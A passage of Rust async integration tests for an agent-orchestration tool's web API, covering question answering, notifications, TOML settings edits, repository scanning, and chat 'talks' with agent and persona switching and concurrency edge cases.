8212 assert_eq!(
8213 fx.get("/api/health").await.json()["questions_needs_owner"],
8214 1
8215 );
8216
8217 let res = fx
8223 .post(
8224 &format!("/api/questions/{id}/say"),
8225 Some(r#"{"body":"why not Postgres?"}"#),
8226 )
8227 .await;
8228 assert_eq!(res.status, 200, "{}", res.body);
8229 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8230 assert_eq!(
8231 fx.get("/api/health").await.json()["questions_needs_owner"],
8232 0,
8233 "waiting on the agent is not waiting on the owner"
8234 );
8235
8236 let mut q = store.get(&id).expect("get");
8240 q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
8241 .expect("reply");
8242 store.put(&mut q).expect("put");
8243 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8244 assert_eq!(
8245 fx.get("/api/health").await.json()["questions_needs_owner"],
8246 1,
8247 "the agent's reply is what should light the banner back up"
8248 );
8249 }
8250
8251 #[tokio::test]
8252 async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
8253 let fx = Fixture::start().await;
8254 let store = fx.questions();
8255
8256 let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8257 let res = fx
8258 .post(
8259 &format!("/api/questions/{empty_id}/say"),
8260 Some(r#"{"body":" "}"#),
8261 )
8262 .await;
8263 assert_eq!(res.status, 400, "{}", res.body);
8264
8265 let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8266 let mut answered = store.get(&answered_id).expect("get");
8267 answered
8268 .answer(Answer::Choice("SQLite".to_owned()))
8269 .expect("answer");
8270 store.put(&mut answered).expect("put");
8271 let res = fx
8272 .post(
8273 &format!("/api/questions/{answered_id}/say"),
8274 Some(r#"{"body":"still there?"}"#),
8275 )
8276 .await;
8277 assert_eq!(res.status, 409, "{}", res.body);
8278
8279 let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8280 let mut abandoned = store.get(&abandoned_id).expect("get");
8281 abandoned.abandon("timed out");
8282 store.put(&mut abandoned).expect("put");
8283 let res = fx
8284 .post(
8285 &format!("/api/questions/{abandoned_id}/say"),
8286 Some(r#"{"body":"still there?"}"#),
8287 )
8288 .await;
8289 assert_eq!(res.status, 409, "{}", res.body);
8290 }
8291
8292 #[tokio::test]
8293 async fn an_answer_the_question_does_not_offer_is_refused() {
8294 let fx = Fixture::start().await;
8295 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
8296 let path = format!("/api/questions/{id}/answer");
8297
8298 for body in [
8299 r#"{"choice":"Postgres"}"#,
8300 r#"{"text":"whatever you think"}"#,
8301 r#"{"choice":"Redis","text":"both"}"#,
8302 r#"{}"#,
8303 ] {
8304 let res = fx.post(&path, Some(body)).await;
8305 assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
8306 assert!(res.json()["error"].is_string(), "{}", res.body);
8307 }
8308 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
8310 }
8311
8312 #[tokio::test]
8313 async fn a_free_text_question_takes_text_and_not_a_choice() {
8314 let fx = Fixture::start().await;
8315 let id = ask(&fx, "What should the flag be called?", &[]);
8316 let path = format!("/api/questions/{id}/answer");
8317
8318 assert_eq!(
8319 fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
8320 400
8321 );
8322 let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
8323 assert_eq!(res.status, 200, "{}", res.body);
8324 assert_eq!(res.json()["answer"]["text"], "--json");
8325 }
8326
8327 #[tokio::test]
8328 async fn an_unknown_question_is_a_json_404() {
8329 let fx = Fixture::start().await;
8330 let res = fx
8331 .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
8332 .await;
8333 assert_eq!(res.status, 404, "{}", res.body);
8334 assert!(res.json()["error"].is_string());
8335 }
8336
8337 #[tokio::test]
8338 async fn notifications_list_read_dismiss_and_health_agree() {
8339 let fx = Fixture::start().await;
8340 let store = Notices::at(fx.home.path().join("notifications"));
8341 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
8342 let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
8343
8344 let a = store.raise(Notice::warn("task:1", "held")).unwrap();
8345 let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
8346
8347 let health = fx.get("/api/health").await.json();
8348 assert_eq!(health["notifications_unread"], 2);
8349 assert_ne!(
8350 health["notifications_rev"], rev0,
8351 "the badge must move live"
8352 );
8353
8354 let listed = fx.get("/api/notifications").await.json();
8355 assert_eq!(listed["unread"], 2);
8356 assert_eq!(listed["items"].as_array().unwrap().len(), 2);
8357 assert_eq!(listed["items"][0]["severity"], "error", "newest first");
8358
8359 let read = fx
8360 .post(&format!("/api/notifications/{}/read", a.id), None)
8361 .await;
8362 assert_eq!(read.status, 200, "{}", read.body);
8363 assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
8364
8365 let gone = fx
8366 .post(&format!("/api/notifications/{}/dismiss", b.id), None)
8367 .await;
8368 assert_eq!(gone.status, 200, "{}", gone.body);
8369 let listed = fx.get("/api/notifications").await.json();
8370 assert_eq!(listed["items"].as_array().unwrap().len(), 1);
8371 assert_eq!(listed["unread"], 0);
8372
8373 store.raise(Notice::info("x", "again")).unwrap();
8374 let all = fx.post("/api/notifications/read-all", None).await;
8375 assert_eq!(all.status, 200, "{}", all.body);
8376 assert_eq!(all.json()["marked"], 1);
8377 assert_eq!(
8378 fx.get("/api/health").await.json()["notifications_unread"],
8379 0
8380 );
8381
8382 let missing = fx.post("/api/notifications/nope/read", None).await;
8383 assert_eq!(missing.status, 404, "{}", missing.body);
8384 assert!(missing.json()["error"].is_string());
8385 }
8386
8387 #[tokio::test]
8394 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8395 let f = Fixture::start().await;
8396
8397 let res = f
8398 .post(
8399 "/api/queue",
8400 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8401 )
8402 .await;
8403
8404 assert_eq!(
8405 res.status, 405,
8406 "POST /api/queue must not be a route: {}",
8407 res.body
8408 );
8409 assert!(
8410 f.queue().list().is_empty(),
8411 "a task filed by a route that does not exist must not reach the disk"
8412 );
8413 assert_eq!(f.get("/api/queue").await.status, 200);
8416 }
8417
8418 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8420 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8421 .expect("checkout dir");
8422 }
8423
8424 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8426
8427 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8428 let tmp = TempDir::new().expect("tempdir");
8429 let repo = tmp.path().join("repo");
8430 std::fs::create_dir_all(&repo).expect("repo dir");
8431 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8432 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8433 if let Some(text) = machine_toml {
8434 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8435 std::fs::write(&machine, text).expect("machine toml");
8436 }
8437 (tmp, repo, machine)
8438 }
8439
8440 #[tokio::test]
8441 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8442 let (_tmp, repo, machine) =
8443 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8444 let f = Fixture::with_repo_and_machine(repo, machine).await;
8445 let res = f.get("/api/settings").await;
8446 assert_eq!(res.status, 200, "{}", res.body);
8447 let v = res.json();
8448 assert!(v["error"].is_null(), "{v}");
8449 let role = |k: &str| {
8450 v["roles"]
8451 .as_array()
8452 .and_then(|r| r.iter().find(|x| x["key"] == k))
8453 .cloned()
8454 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8455 };
8456 assert_eq!(role("judges")["source"], "machine");
8457 assert_eq!(role("judges")["editable"], true);
8458 assert_eq!(role("implementers")["source"], "default");
8459 let adv = role("advisors");
8460 assert_eq!(adv["fallback"], "judges");
8461 assert!(
8462 adv["seats"]
8463 .as_array()
8464 .is_some_and(|s| s.iter().all(|x| x == "b")),
8465 "{adv}"
8466 );
8467 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8468 assert_eq!(v["agents"][0]["source"], "repo");
8469 }
8470
8471 #[tokio::test]
8472 async fn settings_get_reports_a_config_that_does_not_parse() {
8473 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8474 let f = Fixture::with_repo_and_machine(repo, machine).await;
8475 let res = f.get("/api/settings").await;
8476 assert_eq!(res.status, 200, "{}", res.body);
8477 let v = res.json();
8478 assert!(v["error"]["message"].is_string(), "{v}");
8479 assert!(
8480 v["error"]["path"]
8481 .as_str()
8482 .is_some_and(|p| p.ends_with("magi.toml")),
8483 "{v}"
8484 );
8485 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8486 }
8487
8488 #[tokio::test]
8489 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8490 let (_tmp, repo, machine) = settings_dirs(
8491 SETTINGS_AGENTS,
8492 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8493 );
8494 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8495 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8496 let rev = f.get("/api/settings").await.json()["revision"]
8497 .as_str()
8498 .expect("revision")
8499 .to_owned();
8500 let body = serde_json::json!({
8501 "revision": rev,
8502 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8503 })
8504 .to_string();
8505 let res = f.put("/api/settings/roles", &body).await;
8506 assert_eq!(res.status, 200, "{}", res.body);
8507 let text = std::fs::read_to_string(&machine).expect("machine");
8508 assert_eq!(
8509 text,
8510 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8511 );
8512 assert_eq!(
8513 std::fs::read(repo.join("magi.toml")).expect("read"),
8514 repo_before
8515 );
8516 let again = f.get("/api/settings").await.json();
8517 let judges = again["roles"]
8518 .as_array()
8519 .expect("roles")
8520 .iter()
8521 .find(|r| r["key"] == "judges")
8522 .expect("judges")
8523 .clone();
8524 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8525 let stale = f.put("/api/settings/roles", &body).await;
8527 assert_eq!(stale.status, 409, "{}", stale.body);
8528 }
8529
8530 #[tokio::test]
8531 async fn settings_counts_are_reported_and_saved() {
8532 let (_tmp, repo, machine) = settings_dirs(
8533 &format!("{SETTINGS_AGENTS}\n[graph]\nreviewers = 2\n"),
8534 Some("# mine\n[graph]\ncandidates = 2 # seats\n"),
8535 );
8536 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8537 let v = f.get("/api/settings").await.json();
8538 let count = |v: &serde_json::Value, k: &str| {
8539 v["roles"]
8540 .as_array()
8541 .and_then(|r| r.iter().find(|x| x["key"] == k))
8542 .map(|x| x["count"].clone())
8543 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8544 };
8545 let imp = count(&v, "implementers");
8546 assert_eq!(imp["value"], 2);
8547 assert_eq!(imp["source"], "machine");
8548 assert_eq!(imp["file_key"], "candidates");
8549 assert_eq!(imp["roster_len"], 2);
8550 assert_eq!(imp["backups"], 0);
8551 assert_eq!(count(&v, "judges")["source"], "default");
8552 assert_eq!(count(&v, "advisors")["min"], 0);
8553 assert_eq!(count(&v, "reviewers")["editable"], false);
8554 assert!(
8555 count(&v, "reviewers")["locked_reason"]
8556 .as_str()
8557 .is_some_and(|m| m.contains("graph.reviewers"))
8558 );
8559 assert!(count(&v, "fixer").is_null());
8560 let rev = v["revision"].as_str().expect("revision").to_owned();
8561 let body = serde_json::json!({
8562 "revision": rev,
8563 "roles": { "judges": ["b"] },
8564 "counts": { "implementers": 1, "advisors": 0 }
8565 })
8566 .to_string();
8567 let res = f.put("/api/settings/roles", &body).await;
8568 assert_eq!(res.status, 200, "{}", res.body);
8569 let text = std::fs::read_to_string(&machine).expect("machine");
8570 assert_eq!(
8571 text,
8572 "# mine\n[graph]\ncandidates = 1 # seats\nadvisors = 0\n\n[roles]\njudges = [\"b\"]\n"
8573 );
8574 let after = f.get("/api/settings").await.json();
8575 assert_eq!(count(&after, "implementers")["value"], 1);
8576 assert_eq!(count(&after, "implementers")["backups"], 1);
8577 assert_eq!(count(&after, "advisors")["value"], 0);
8578 let before = std::fs::read_to_string(&machine).expect("machine");
8579 let rev = after["revision"].as_str().expect("revision").to_owned();
8580 for counts in [
8581 serde_json::json!({ "judges": 0 }),
8582 serde_json::json!({ "judges": "x" }),
8583 serde_json::json!({ "judges": 2.5 }),
8584 serde_json::json!({ "judges": -1 }),
8585 serde_json::json!({ "reviewers": 3 }),
8586 serde_json::json!({ "bogus": 3 }),
8587 ] {
8588 let body = serde_json::json!({ "revision": rev, "counts": counts }).to_string();
8589 let res = f.put("/api/settings/roles", &body).await;
8590 assert_eq!(res.status, 422, "{counts}: {}", res.body);
8591 assert_eq!(std::fs::read_to_string(&machine).expect("machine"), before);
8592 }
8593 }
8594
8595 #[tokio::test]
8596 async fn settings_put_refuses_without_touching_the_file() {
8597 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8598 let (_tmp, repo, machine) = settings_dirs(
8599 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8600 Some(machine_text),
8601 );
8602 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8603 let rev = f.get("/api/settings").await.json()["revision"]
8604 .as_str()
8605 .expect("revision")
8606 .to_owned();
8607 for roles in [
8608 serde_json::json!({ "judges": ["nope"] }),
8609 serde_json::json!({ "reviewers": ["b"] }),
8610 serde_json::json!({ "bogus": ["a"] }),
8611 ] {
8612 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8613 let res = f.put("/api/settings/roles", &body).await;
8614 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8615 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8616 assert_eq!(
8617 std::fs::read_to_string(&machine).expect("machine"),
8618 machine_text
8619 );
8620 }
8621 }
8622
8623 #[tokio::test]
8624 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8625 let tmp = TempDir::new().expect("tempdir");
8626 let repo = tmp.path().join("repo");
8627 std::fs::create_dir_all(&repo).expect("repo dir");
8628 let root = tmp.path().join("root");
8629 make_checkout(&root, "github.com", "yukimemi", "magi");
8630 std::fs::write(
8631 repo.join("magi.toml"),
8632 format!(
8633 "[repos]\nroots = [{:?}]\n",
8634 root.to_string_lossy().into_owned()
8635 ),
8636 )
8637 .expect("write magi.toml");
8638
8639 let f = Fixture::with_repo(repo).await;
8640 let res = f.get("/api/repos").await;
8641 assert_eq!(res.status, 200, "{}", res.body);
8642 let list = res.json();
8643 let repos = list.as_array().expect("an array");
8644 assert_eq!(repos.len(), 1);
8645 assert_eq!(repos[0]["name"], "yukimemi/magi");
8646 assert!(
8647 repos[0]["path"]
8648 .as_str()
8649 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8650 "{list}"
8651 );
8652 }
8653
8654 #[tokio::test]
8655 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8656 let tmp = TempDir::new().expect("tempdir");
8657 let repo = tmp.path().join("repo");
8658 std::fs::create_dir_all(&repo).expect("repo dir");
8659 let root = tmp.path().join("root");
8660 make_checkout(&root, "github.com", "yukimemi", "magi");
8661 std::fs::write(
8662 repo.join("magi.toml"),
8663 format!(
8664 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8665 root.to_string_lossy().into_owned()
8666 ),
8667 )
8668 .expect("write magi.toml");
8669
8670 let f = Fixture::with_repo(repo).await;
8671 let first = f.get("/api/repos").await;
8672 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8673
8674 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8677 let second = f.get("/api/repos").await;
8678 assert_eq!(
8679 second.json().as_array().map(Vec::len),
8680 Some(1),
8681 "a fresh cache must not rescan inside the TTL"
8682 );
8683
8684 let refreshed = f.get("/api/repos?refresh=1").await;
8685 assert_eq!(
8686 refreshed.json().as_array().map(Vec::len),
8687 Some(2),
8688 "an explicit refresh must rescan even inside the TTL"
8689 );
8690 }
8691
8692 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8698
8699 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8703 let tmp = TempDir::new().expect("tempdir");
8704 let repo = tmp.path().join("repo");
8705 std::fs::create_dir_all(&repo).expect("repo dir");
8706 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8707 let f = Fixture::with_repo(repo.clone()).await;
8708 (tmp, repo, f)
8709 }
8710
8711 #[tokio::test]
8712 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8713 let (_tmp, _repo, f) = talk_fixture().await;
8714
8715 let opened = f.post("/api/talks", None).await;
8718 assert_eq!(opened.status, 201, "{}", opened.body);
8719 let body = opened.json();
8720 assert_eq!(body["status"], "open");
8721 assert_eq!(
8722 body["turns"].as_array().unwrap().len(),
8723 0,
8724 "opening takes no agent turn: there is nothing yet to answer"
8725 );
8726
8727 let also_opened = f.post("/api/talks", Some("{}")).await;
8729 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8730
8731 let listed = f.get("/api/talks").await.json();
8732 assert_eq!(listed.as_array().unwrap().len(), 2);
8733 }
8734
8735 #[tokio::test]
8736 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8737 let tmp = TempDir::new().expect("tempdir");
8738 let repo = tmp.path().join("repo");
8739 std::fs::create_dir_all(&repo).expect("repo dir");
8740 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8741 std::fs::write(
8742 repo.join("magi.toml"),
8743 format!("{MOCK_AGENT_TOML}\n{second}"),
8744 )
8745 .expect("write magi.toml");
8746 let home = TempDir::new().expect("temp home");
8747 let talks = Talks::at(home.path().join("talks"));
8748 let ui = Arc::new(
8749 Ui::new(
8750 Queue::at(home.path().join("queue")),
8751 Questions::at(home.path().join("questions")),
8752 talks.clone(),
8753 home.path().join("runs"),
8754 home.path().to_path_buf(),
8755 repo.clone(),
8756 )
8757 .with_worktrees_root(home.path().join("wt")),
8758 );
8759 let cfg = config_for(&repo).await.expect("discover config");
8760 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8761 let id = talk.id.clone();
8762 let call = |agent: &str| {
8763 talk_agent(
8764 State(Arc::clone(&ui)),
8765 Path(id.clone()),
8766 Json(TalkAgent {
8767 agent: agent.to_owned(),
8768 }),
8769 )
8770 };
8771
8772 let unknown = call("nobody").await.expect_err("unknown agent");
8773 assert_eq!(
8774 unknown.status,
8775 StatusCode::BAD_REQUEST,
8776 "{}",
8777 unknown.message
8778 );
8779
8780 {
8781 let mut claimed = None;
8784 for _ in 0..200 {
8785 claimed = ui.begin_talk_turn(&id).expect("claim");
8786 if claimed.is_some() {
8787 break;
8788 }
8789 tokio::time::sleep(Duration::from_millis(10)).await;
8790 }
8791 let _busy = claimed.expect("free");
8792 let busy = call("second").await.expect_err("busy talk");
8793 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8794 }
8795 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8796
8797 let Json(view) = call("second").await.expect("switch");
8798 assert_eq!(view.talk.agent, "second");
8799 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8800 let saved = talks.get(&id).expect("reload");
8801 assert_eq!(saved.agent, "second");
8802 assert_eq!(saved.turns.len(), 1);
8803
8804 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8805 .await
8806 .expect("detail");
8807 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8808 assert_eq!(roster, ["mock", "second"]);
8809
8810 let mut closed = talks.get(&id).expect("reload");
8811 talk::close(&mut closed, &talks).expect("close");
8812 let refused = call("mock").await.expect_err("closed talk");
8813 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8814 }
8815
8816 #[tokio::test]
8817 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
8818 let tmp = TempDir::new().expect("tempdir");
8819 let repo = tmp.path().join("repo");
8820 std::fs::create_dir_all(&repo).expect("repo dir");
8821 std::fs::write(
8822 repo.join("magi.toml"),
8823 format!(
8824 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
8825 ),
8826 )
8827 .expect("write magi.toml");
8828 let home = TempDir::new().expect("temp home");
8829 let talks = Talks::at(home.path().join("talks"));
8830 let ui = Arc::new(
8831 Ui::new(
8832 Queue::at(home.path().join("queue")),
8833 Questions::at(home.path().join("questions")),
8834 talks.clone(),
8835 home.path().join("runs"),
8836 home.path().to_path_buf(),
8837 repo.clone(),
8838 )
8839 .with_worktrees_root(home.path().join("wt")),
8840 );
8841 let cfg = config_for(&repo).await.expect("discover config");
8842 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8843 let id = talk.id.clone();
8844 let call = |persona: &str| {
8845 talk_persona(
8846 State(Arc::clone(&ui)),
8847 Path(id.clone()),
8848 Json(TalkPersona {
8849 persona: persona.to_owned(),
8850 }),
8851 )
8852 };
8853
8854 let unknown = call("nobody").await.expect_err("unknown persona");
8855 assert_eq!(
8856 unknown.status,
8857 StatusCode::BAD_REQUEST,
8858 "{}",
8859 unknown.message
8860 );
8861
8862 {
8863 let mut claimed = None;
8864 for _ in 0..200 {
8865 claimed = ui.begin_talk_turn(&id).expect("claim");
8866 if claimed.is_some() {
8867 break;
8868 }
8869 tokio::time::sleep(Duration::from_millis(10)).await;
8870 }
8871 let _busy = claimed.expect("free");
8872 let busy = call("rei").await.expect_err("busy talk");
8873 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8874 }
8875 assert_eq!(talks.get(&id).expect("reload").persona, "");
8876
8877 let Json(view) = call("gendo").await.expect("switch to a configured persona");
8878 assert_eq!(view.talk.persona, "gendo");
8879 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
8880
8881 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8882 .await
8883 .expect("detail");
8884 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
8885 assert_eq!(ids.first(), Some(&"default"));
8886 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
8887
8888 let Json(view) = call("default").await.expect("back to default");
8889 assert_eq!(view.talk.persona, "");
8890
8891 let mut closed = talks.get(&id).expect("reload");
8892 talk::close(&mut closed, &talks).expect("close");
8893 let refused = call("rei").await.expect_err("closed talk");
8894 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8895 }
8896
8897 #[tokio::test]
8898 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8899 let f = Fixture::start().await;
8900 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8901 let queue = f.queue();
8902 let mut mine = Task::new(
8903 "rename the loader".to_owned(),
8904 "rename the loader".to_owned(),
8905 PathBuf::from("/repo/magi"),
8906 Source::Agent {
8907 run: talk_id.clone(),
8908 node: "chat".to_owned(),
8909 },
8910 );
8911 queue.put(&mut mine).expect("file the task");
8912 let mut theirs = Task::new(
8913 "unrelated".to_owned(),
8914 "unrelated".to_owned(),
8915 PathBuf::from("/repo/magi"),
8916 Source::Human,
8917 );
8918 queue.put(&mut theirs).expect("file the task");
8919
8920 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8921 assert_eq!(res.status, 200, "{}", res.body);
8922 let body = res.json();
8923 assert_eq!(
8924 body["status"], "open",
8925 "filing a task does not close a talk"
8926 );
8927 let tasks = body["tasks"].as_array().expect("tasks array");
8928 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8929 assert_eq!(tasks[0]["id"], mine.id);
8930 }
8931
8932 #[tokio::test]
8933 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8934 let (_tmp, _repo, f) = talk_fixture().await;
8935 let id = f.post("/api/talks", None).await.json()["id"]
8936 .as_str()
8937 .expect("id")
8938 .to_owned();
8939
8940 let res = f
8941 .post(
8942 &format!("/api/talks/{id}/say"),
8943 Some(r#"{"text":"what does the queue module do?"}"#),
8944 )
8945 .await;
8946 assert_eq!(res.status, 202, "{}", res.body);
8947 let queued = res.json();
8948 let turns = queued["turns"].as_array().expect("turns array");
8949 assert_eq!(
8950 turns.len(),
8951 1,
8952 "the answer reflects only what is on disk the instant it is sent, \
8953 before the agent's turn - which can run for the whole of \
8954 `[graph] timeout_talk` - has a chance to land: {queued}"
8955 );
8956 assert_eq!(turns[0]["who"], "operator");
8957 assert_eq!(turns[0]["body"], "what does the queue module do?");
8958 assert_eq!(
8959 queued["thinking"], true,
8960 "the accepted response exposes the background turn claim: {queued}"
8961 );
8962
8963 let mut turns_after = 1;
8964 for _ in 0..SETTLE_STEPS {
8965 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8966 turns_after = detail["turns"].as_array().expect("turns array").len();
8967 if turns_after == 2 {
8968 break;
8969 }
8970 tokio::time::sleep(Duration::from_millis(10)).await;
8971 }
8972 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8973 }
8974
8975 #[tokio::test]
9002 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
9003 let tmp = TempDir::new().expect("tempdir");
9004 let repo = tmp.path().join("repo");
9005 std::fs::create_dir_all(&repo).expect("repo dir");
9006 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9007 let home = TempDir::new().expect("temp home");
9008 let talks = Talks::at(home.path().join("talks"));
9009 let ui = Arc::new(
9010 Ui::new(
9011 Queue::at(home.path().join("queue")),
9012 Questions::at(home.path().join("questions")),
9013 talks.clone(),
9014 home.path().join("runs"),
9015 home.path().to_path_buf(),
9016 repo.clone(),
9017 )
9018 .with_worktrees_root(home.path().join("wt")),
9019 );
9020 let cfg = config_for(&repo).await.expect("discover config");
9021
9022 for delay in 0..40u32 {
9023 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9024 let id = talk.id.clone();
9025
9026 let handler = tokio::spawn(talk_say(
9027 State(Arc::clone(&ui)),
9028 Path(id.clone()),
9029 Ok(Json(NewTalkTurn {
9030 text: "what does the queue module do?".to_owned(),
9031 attachments: Vec::new(),
9032 })),
9033 ));
9034 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
9035 handler.abort();
9036 let _ = handler.await;
9039
9040 let mut turns = 0;
9041 for _ in 0..SETTLE_STEPS {
9042 if let Ok(fresh) = talks.get(&id) {
9043 turns = fresh.turns.len();
9044 if turns != 1 {
9045 break;
9046 }
9047 }
9048 tokio::time::sleep(Duration::from_millis(10)).await;
9049 }
9050 assert_ne!(
9051 turns, 1,
9052 "delay {delay}: talk {id} recorded the operator's turn but \
9053 the agent never answered - the reply task was never \
9054 started after the handler future was dropped"
9055 );
9056 }
9057 }
9058
9059 #[tokio::test]
9104 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
9105 let tmp = TempDir::new().expect("tempdir");
9106 let repo = tmp.path().join("repo");
9107 std::fs::create_dir_all(&repo).expect("repo dir");
9108 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
9109 let home = TempDir::new().expect("temp home");
9110 let talks = Talks::at(home.path().join("talks"));
9111 let ui = Arc::new(
9112 Ui::new(
9113 Queue::at(home.path().join("queue")),
9114 Questions::at(home.path().join("questions")),
9115 talks.clone(),
9116 home.path().join("runs"),
9117 home.path().to_path_buf(),
9118 repo.clone(),
9119 )
9120 .with_worktrees_root(home.path().join("wt")),
9121 );
9122 let cfg = config_for(&repo).await.expect("discover config");
9123
9124 for attempt in 0..3u32 {
9125 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
9126 let id = talk.id.clone();
9127 let turn_guard = ui
9130 .begin_talk_turn(&id)
9131 .expect("claim the turn")
9132 .expect("a fresh talk owes nobody a turn");
9133
9134 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
9135 let (release_tx, release_rx) = std::sync::mpsc::channel();
9136 ui.set_busy_queue_gate(BusyQueueGate {
9137 reached: reached_tx,
9138 release: release_rx,
9139 });
9140
9141 let handler = tokio::spawn(talk_say(
9142 State(Arc::clone(&ui)),
9143 Path(id.clone()),
9144 Ok(Json(NewTalkTurn {
9145 text: "what does the queue module do?".to_owned(),
9146 attachments: Vec::new(),
9147 })),
9148 ));
9149
9150 tokio::time::timeout(Duration::from_secs(5), reached_rx)
9155 .await
9156 .unwrap_or_else(|_| {
9157 panic!(
9158 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
9159 )
9160 })
9161 .expect("the busy branch dropped the gate without using it");
9162
9163 let running = talks.get(&id).expect("reload talk");
9170 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
9171
9172 handler.abort();
9176 let _ = handler.await;
9177
9178 let _ = release_tx.send(());
9184
9185 let mut fresh = talks.get(&id).expect("reload talk");
9188 for _ in 0..SETTLE_STEPS {
9189 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
9190 break;
9191 }
9192 tokio::time::sleep(Duration::from_millis(10)).await;
9193 fresh = talks.get(&id).expect("reload talk");
9194 }
9195 assert!(
9196 fresh.pending.is_empty() && fresh.turns.len() == 2,
